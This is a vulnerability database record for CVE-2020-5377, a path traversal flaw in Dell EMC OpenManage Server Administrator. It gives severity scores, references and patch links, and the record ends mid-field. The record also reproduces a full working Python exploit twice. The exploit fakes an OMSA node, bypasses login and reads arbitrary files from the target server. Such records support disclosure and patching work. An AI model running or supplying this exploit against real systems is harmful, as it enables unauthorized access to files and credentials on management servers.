VAR-202007-1286

Vulnerability from variot - Updated: 2023-12-18 12:49

Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. The solution supports online diagnosis, system operation detection, equipment management, etc. A remote attacker could exploit this vulnerability to gain access to the file system.

CVE: CVE-2020-5377

This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator

Proof of concept written by: David Yesland @daveysec with Rhino Security Labs

More information can be found here:

A patch for this issue can be found here:

https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability

from xml.sax.saxutils import escape import BaseHTTPServer import requests import thread import ssl import sys import re import os

import urllib3 urllib3.disable_warnings()

if len(sys.argv) < 3: print 'Usage python auth_bypass.py :' exit()

This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909

Also check out https://github.com/hantwister/FakeDellOM

class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): data = '' content_len = int(s.headers.getheader('content-length', 0)) post_body = s.rfile.read(content_len) s.send_response(200) s.send_header("Content-type", "application/soap+xml;charset=UTF-8") s.end_headers() if "__00omacmd=getuserrightsonly" in post_body: data = escape("0458759") if "__00omacmd=getaboutinfo " in post_body: data = escape("6.0.3") if data: requid = re.findall('>uuid:(.*?)<',post_body)[0] s.wfile.write(''' http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous uuid:'''+requid+''' 0d70cce2-05b9-45bb-b219-4fb81efba639 0 '''+data+''' ''')

    else:
        s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')

def log_message(self, format, *args):
    return

createdCert = False if not os.path.isfile('./server.pem'): print '[-] No server.pem certifcate file found. Generating one...' os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') createdCert = True

def startServer(): server_class = BaseHTTPServer.HTTPServer httpd = httpd = server_class(('0.0.0.0', 443), MyHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()

thread.start_new_thread(startServer,())

myIP = sys.argv[1] target = sys.argv[2]

def bypassAuth(): values = {} url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} r = requests.post(url, data=data, verify=False, allow_redirects=False) cookieheader = r.headers['Set-Cookie'] sessionid = re.findall('JSESSIONID=(.?);',cookieheader) pathid = re.findall('Path=/(.?);',cookieheader) values['sessionid'] = sessionid[0] values['pathid'] = pathid[0] return values

ids = bypassAuth() sessionid = ids['sessionid'] pathid = ids['pathid']

print "Session: "+sessionid print "VID: "+pathid

def readFile(target,sessid,pathid): while True: file = raw_input('file > ') url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file) cookies = {"JSESSIONID": sessid} r = requests.get(url, cookies=cookies, verify=False) print 'Reading contents of {}:\n{}'.format(file,r.content)

def getPath(path): if path.lower().startswith('c:\'): path = path[2:] path = path.replace('\','/') return path

readFile(target,sessionid,pathid)

Show details on source website
To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202007-1286",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "emc openmanage server administrator",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "dell",
        "version": "9.4"
      },
      {
        "model": "openmanage server administrator",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "dell",
        "version": "9.4"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:dell:emc_openmanage_server_administrator:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "9.4",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Rhino Security Labs",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ],
    "trust": 0.7
  },
  "cve": "CVE-2020-5377",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "NONE",
            "baseScore": 6.4,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "impactScore": 4.9,
            "integrityImpact": "PARTIAL",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "MEDIUM",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 6.4,
            "confidentialityImpact": "Partial",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-008945",
            "impactScore": null,
            "integrityImpact": "Partial",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Medium",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "NONE",
            "baseScore": 6.4,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "VHN-183502",
            "impactScore": 4.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:N",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULMON",
            "availabilityImpact": "NONE",
            "baseScore": 6.4,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CVE-2020-5377",
            "impactScore": 4.9,
            "integrityImpact": "PARTIAL",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "MEDIUM",
            "trust": 0.1,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "impactScore": 5.2,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 2.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 9.1,
            "baseSeverity": "Critical",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-008945",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2020-5377",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "security_alert@emc.com",
            "id": "CVE-2020-5377",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "JVNDB-2020-008945",
            "trust": 0.8,
            "value": "Critical"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-202007-1589",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-183502",
            "trust": 0.1,
            "value": "MEDIUM"
          },
          {
            "author": "VULMON",
            "id": "CVE-2020-5377",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. The solution supports online diagnosis, system operation detection, equipment management, etc. A remote attacker could exploit this vulnerability to gain access to the file system. \n# CVE: CVE-2020-5377\n\n# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator\n# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs\n# More information can be found here: \n# A patch for this issue can be found here: \n# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability\n\nfrom xml.sax.saxutils import escape\nimport BaseHTTPServer\nimport requests\nimport thread\nimport ssl\nimport sys\nimport re\nimport os\n\nimport urllib3\nurllib3.disable_warnings()\n\nif len(sys.argv) \u003c 3:\n\tprint \u0027Usage python auth_bypass.py \u003cyourIP\u003e \u003ctargetIP\u003e:\u003ctargetPort\u003e\u0027\n\texit()\n\n#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909\n#Also check out https://github.com/hantwister/FakeDellOM\nclass MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n\tdef do_POST(s):\n\t\tdata = \u0027\u0027\n\t\tcontent_len = int(s.headers.getheader(\u0027content-length\u0027, 0))\n\t\tpost_body = s.rfile.read(content_len)\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"application/soap+xml;charset=UTF-8\")\n\t\ts.end_headers()\n\t\tif \"__00omacmd=getuserrightsonly\" in post_body:\n\t\t\tdata = escape(\"\u003cSMStatus\u003e0\u003c/SMStatus\u003e\u003cUserRightsMask\u003e458759\u003c/UserRightsMask\u003e\")\n\t\tif \"__00omacmd=getaboutinfo \" in post_body:\n\t\t\tdata = escape(\"\u003cProductVersion\u003e6.0.3\u003c/ProductVersion\u003e\")\n\t\tif data:\n\t\t\trequid = re.findall(\u0027\u003euuid:(.*?)\u003c\u0027,post_body)[0]\n\t\t\ts.wfile.write(\u0027\u0027\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\t\t\t\t\t\t\t\u003cs:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"\u003e\n\t\t\t\t\t\t\t  \u003cs:Header\u003e\n\t\t\t\t\t\t\t    \u003cwsa:To\u003ehttp://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous\u003c/wsa:To\u003e\n\t\t\t\t\t\t\t    \u003cwsa:RelatesTo\u003euuid:\u0027\u0027\u0027+requid+\u0027\u0027\u0027\u003c/wsa:RelatesTo\u003e\n\t\t\t\t\t\t\t    \u003cwsa:MessageID\u003e0d70cce2-05b9-45bb-b219-4fb81efba639\u003c/wsa:MessageID\u003e\n\t\t\t\t\t\t\t  \u003c/s:Header\u003e\n\t\t\t\t\t\t\t  \u003cs:Body\u003e\n\t\t\t\t\t\t\t    \u003cn1:SendCmd_OUTPUT\u003e\n\t\t\t\t\t\t\t      \u003cn1:ResultCode\u003e0\u003c/n1:ResultCode\u003e\n\t\t\t\t\t\t\t      \u003cn1:ReturnValue\u003e\u0027\u0027\u0027+data+\u0027\u0027\u0027\u003c/n1:ReturnValue\u003e\n\t\t\t\t\t\t\t    \u003c/n1:SendCmd_OUTPUT\u003e\n\t\t\t\t\t\t\t  \u003c/s:Body\u003e\n\t\t\t\t\t\t\t\u003c/s:Envelope\u003e\u0027\u0027\u0027)\n\n\t\telse:\n\t\t\ts.wfile.write(\u0027\u0027\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cs:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsmid=\"http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\"\u003e\u003cs:Header/\u003e\u003cs:Body\u003e\u003cwsmid:IdentifyResponse\u003e\u003cwsmid:ProtocolVersion\u003ehttp://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\u003c/wsmid:ProtocolVersion\u003e\u003cwsmid:ProductVendor\u003eFake Dell Open Manage Server Node\u003c/wsmid:ProductVendor\u003e\u003cwsmid:ProductVersion\u003e1.0\u003c/wsmid:ProductVersion\u003e\u003c/wsmid:IdentifyResponse\u003e\u003c/s:Body\u003e\u003c/s:Envelope\u003e\u0027\u0027\u0027)\n\n\tdef log_message(self, format, *args):\n\t\treturn\n\ncreatedCert = False\nif not os.path.isfile(\u0027./server.pem\u0027):\n\tprint \u0027[-] No server.pem certifcate file found. Generating one...\u0027\n\tos.system(\u0027openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj \"/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com\"\u0027)\n\tcreatedCert = True\n\ndef startServer():\n\tserver_class = BaseHTTPServer.HTTPServer\n\thttpd = httpd = server_class((\u00270.0.0.0\u0027, 443), MyHandler)\n\thttpd.socket = ssl.wrap_socket (httpd.socket, certfile=\u0027./server.pem\u0027, server_side=True)\n\thttpd.serve_forever()\n\nthread.start_new_thread(startServer,())\n\nmyIP = sys.argv[1]\ntarget = sys.argv[2]\n\ndef bypassAuth():\n\tvalues = {}\n\turl = \"https://{}/LoginServlet?flag=true\u0026managedws=false\".format(target)\n\tdata = {\"manuallogin\": \"true\", \"targetmachine\": myIP, \"user\": \"VULNERABILITY:CVE-2020-5377\", \"password\": \"plz\", \"application\": \"omsa\", \"ignorecertificate\": \"1\"}\n\tr = requests.post(url, data=data, verify=False, allow_redirects=False)\n\tcookieheader = r.headers[\u0027Set-Cookie\u0027]\n\tsessionid = re.findall(\u0027JSESSIONID=(.*?);\u0027,cookieheader)\n\tpathid = re.findall(\u0027Path=/(.*?);\u0027,cookieheader)\n\tvalues[\u0027sessionid\u0027] = sessionid[0]\n\tvalues[\u0027pathid\u0027] = pathid[0]\n\treturn values\n\nids = bypassAuth()\nsessionid = ids[\u0027sessionid\u0027]\npathid = ids[\u0027pathid\u0027]\n\nprint \"Session: \"+sessionid\nprint \"VID: \"+pathid\n\ndef readFile(target,sessid,pathid):\n    while True:\n        file = raw_input(\u0027file \u003e \u0027)\n        url = \"https://{}/{}/DownloadServlet?help=Certificate\u0026app=oma\u0026vid={}\u0026file={}\".format(target,pathid,pathid,file)\n        cookies = {\"JSESSIONID\": sessid}\n        r = requests.get(url, cookies=cookies, verify=False)\n        print \u0027Reading contents of {}:\\n{}\u0027.format(file,r.content)\n\ndef getPath(path):\n\tif path.lower().startswith(\u0027c:\\\\\u0027):\n\t\tpath = path[2:]\n        path = path.replace(\u0027\\\\\u0027,\u0027/\u0027)\n        return path\n\nreadFile(target,sessionid,pathid)\n            \n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "PACKETSTORM",
        "id": "162110"
      }
    ],
    "trust": 1.89
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-183502",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2020-5377",
        "trust": 2.7
      },
      {
        "db": "PACKETSTORM",
        "id": "162110",
        "trust": 1.9
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589",
        "trust": 0.7
      },
      {
        "db": "EXPLOIT-DB",
        "id": "49750",
        "trust": 0.6
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-43618",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-183502",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "39909",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "id": "VAR-202007-1286",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2023-12-18T12:49:37.192000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "DSA-2020-172",
        "trust": 0.8,
        "url": "https://www.dell.com/support/article/ja-jp/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en"
      },
      {
        "title": "Dell EMC OpenManage Server Administrator Repair measures for path traversal vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=125106"
      },
      {
        "title": "",
        "trust": 0.1,
        "url": "https://github.com/merlinepedra25/rhinosecurity-cves "
      },
      {
        "title": "",
        "trust": 0.1,
        "url": "https://github.com/merlinepedra/rhinoecurity-cves "
      },
      {
        "title": "AWS-CVEs",
        "trust": 0.1,
        "url": "https://github.com/sunzu94/aws-cves "
      },
      {
        "title": "",
        "trust": 0.1,
        "url": "https://github.com/h4cksploit/cves-master "
      },
      {
        "title": "kenzer-templates",
        "trust": 0.1,
        "url": "https://github.com/elsfa7-110/kenzer-templates "
      },
      {
        "title": "kenzer-templates",
        "trust": 0.1,
        "url": "https://github.com/arpsyndicate/kenzer-templates "
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-22",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "http://packetstormsecurity.com/files/162110/dell-openmanage-server-administrator-9.4.0.0-file-read.html"
      },
      {
        "trust": 1.8,
        "url": "https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-5377"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-5377"
      },
      {
        "trust": 0.6,
        "url": "https://www.exploit-db.com/exploits/49750"
      },
      {
        "trust": 0.6,
        "url": "https://vigilance.fr/vulnerability/dell-emc-openmanage-server-administrator-directory-traversal-32934"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/22.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://github.com/hantwister/fakedellom"
      },
      {
        "trust": 0.1,
        "url": "http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/dcim_oem_dataaccessmodule\"\u003e"
      },
      {
        "trust": 0.1,
        "url": "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous\u003c/wsa:to\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://{}/loginservlet?flag=true\u0026managedws=false\".format(target)"
      },
      {
        "trust": 0.1,
        "url": "https://{}/{}/downloadservlet?help=certificate\u0026app=oma\u0026vid={}\u0026file={}\".format(target,pathid,pathid,file)"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/39909"
      },
      {
        "trust": 0.1,
        "url": "https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability"
      },
      {
        "trust": 0.1,
        "url": "http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\""
      },
      {
        "trust": 0.1,
        "url": "http://schemas.xmlsoap.org/ws/2004/08/addressing\""
      },
      {
        "trust": 0.1,
        "url": "http://www.w3.org/2003/05/soap-envelope\""
      },
      {
        "trust": 0.1,
        "url": "http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\"\u003e\u003cs:header/\u003e\u003cs:body\u003e\u003cwsmid:identifyresponse\u003e\u003cwsmid:protocolversion\u003ehttp://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\u003c/wsmid:protocolversion\u003e\u003cwsmid:productvendor\u003efake"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2020-07-28T00:00:00",
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "date": "2020-07-28T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
        "date": "2020-10-08T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "date": "2021-04-07T20:06:30",
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "date": "2020-07-28T18:15:21.347000",
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "date": "2020-07-28T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2022-01-01T00:00:00",
        "db": "VULHUB",
        "id": "VHN-183502"
      },
      {
        "date": "2022-01-01T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-5377"
      },
      {
